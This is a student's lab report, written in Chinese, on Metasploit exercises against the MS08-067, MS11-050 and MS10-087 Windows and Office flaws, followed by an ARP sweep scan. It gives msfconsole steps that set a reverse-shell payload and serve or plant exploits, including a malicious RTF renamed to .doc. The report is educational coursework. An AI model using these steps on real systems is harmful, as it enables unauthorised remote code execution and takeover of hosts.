20145218张晓涵_Exp5 MSF基础应用
实验原理
MS08-067漏洞描述
- MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
- 如果用户在受影响的系统上收到特制的 RPC 请求,则MS08-067漏洞可能允许远程执行代码。 在Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用MS08-067漏洞运行任意代码。 MS08-067漏洞可能用于进行蠕虫攻击。
- MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
MS11-050漏洞
- 利用浏览器MSHTML模块在处理无效的
object
标签存在的Use-after-Free
,具体原理利用了堆喷射技术。 - 攻击者利用漏洞在堆区申请大量充满空指令的内存块,每个内存块都尾随shellcode,然后,在溢出时,根据内存块总体大小,修改溢出后的返回地址到这个堆区。此时空指令占了绝大多数,所以一般情况下,修改后的返回地址会在空指令区,再通过执行控指令滑到shellcode。
MS10-087漏洞
- SEH(Structured Exception Handling)亦即结构化异常处理,是Windows操作系统提供处理程序错误或异常的机制。MS10-087渗透攻击模块中描述目标的Target信息,针对MOS2003 SP3 English on Windows XP SP3English靶机目标环境,定义了两个变量参数:Offsets偏移量为“[24580,51156]”,表示24580~51156的范围集合。Ret返回地址指向0x30001bdd地址,在名为winword.exe的Word进程中,这一地址开始的指令应为一段“POP/POP/RET”模式的指令。包含Shellcode的变量sploit被填充至名为pFragments的属性参数中,此变量过长导致了缓冲区溢出。
- 这次实验中,产生漏洞的原因是Office程序在处理某些特殊构造RTF文件时,相应解析程序在处理一个名为pFragments的参数时存在栈缓冲区溢出错误,导致异常发生。RTF文件属于Office软件中Word应用程序处理的文件格式。一个后缀名为rtf的文件在改为doc后不影响其使用。所以,用户收到这样一个恶意构造的RTF文件之后,从外观上无法找出与正常Word文件的区别。该漏洞几乎影响所有版本的Office软件。
实践过程
MS08-067漏洞
-
进入sfconsole控制台
msfconsole
-
在msf模式下查找与其相关的漏洞攻击程序,
search ms08_067
,可以看到exploit/windows/smb/ms08_067_netapi的信息
-
输入命令使用该漏洞攻击程序
use exploit/windows/smb/ms08_067_netapi
-
现在,我们已经可以驾驭使用"ms08_067_netapi"这个漏洞攻击程序了,接下来要查找一下metasploit下的有效攻击荷载
show payloads
-
找到我们想要用的payload后,使用下述命令设置payload
set payload generic/shell_reverse_tcp
-
使用
show options
查看该payload的状态,show targets
查看可以使用的攻击类型
-
设置RHOST和LHOST和target,并使用show options再次查看payload的状态
set RHOST “目标主机的ip”
set LHOST “监听主机的ip”
set target 0
show options
- 使用
exploit
进行攻击
MS11-050漏洞
-
输入命令使用该漏洞攻击程序
use windows/browser/ms11_050_mshtml_cobjectelement
-
查看ms11050漏洞信息
info
,可以看到攻击范围,一定要确认所攻击的浏览器具这个漏洞才可以攻击成功。
-
按照下图命令设置载荷和地址、端口,然后exploit
-
靶机浏览器地址栏输入http://LHOST:8080/ms11050然后蹦乱码就成功了。(靶机自己带的IE应该是不可以,自己要重新从网上下一个ie7 )
-
然后回到攻击机可以看到一直发送exploit,之后等他停下来的时候就可以获取sessions
MS10-087漏洞
-
按照下图命令配置
-
去标黄目录里把生成的.Rft文件拷出来到靶机中,将后缀名改成.doc,然后运行
-
如果找不到文件就用简单粗暴的办法
应用辅助模块
- 创建msf所需的数据库
service postgresql start
msfdb start
- 启动msf
- 输入命令进入模块
use auxiliary/scanner/discovery/arp_sweep
- 按照如下命令设置
set RHOST 192.168.29.0/24(查看自己电脑的网段)
run
-
show options
一下,查看设置成功
-
开启扫描发现了别的ip地址,试了一下,发现能ping通192.168.29.2
-
用nmap进行扫描
实验后回答问题
- exploit就是扛着炸 药包的运载工具,利用可攻击的漏洞,把payload这个炸弹给运过去,encode就是其伪装,为了使它俩不被认出来。
实验感想
这次实验唯一的感想就是,我的电脑太慢了,然后写了一晚上的博客最后生生的被卡死的电脑抹掉了,赶在图书馆赶我的最后一刻上交的博客,这是一晚上跟各种问题,各种卡顿奋斗的胜利结果!实在受不了了,打算更换内存条,希望下次可以不要因为卡浪费那么多时间。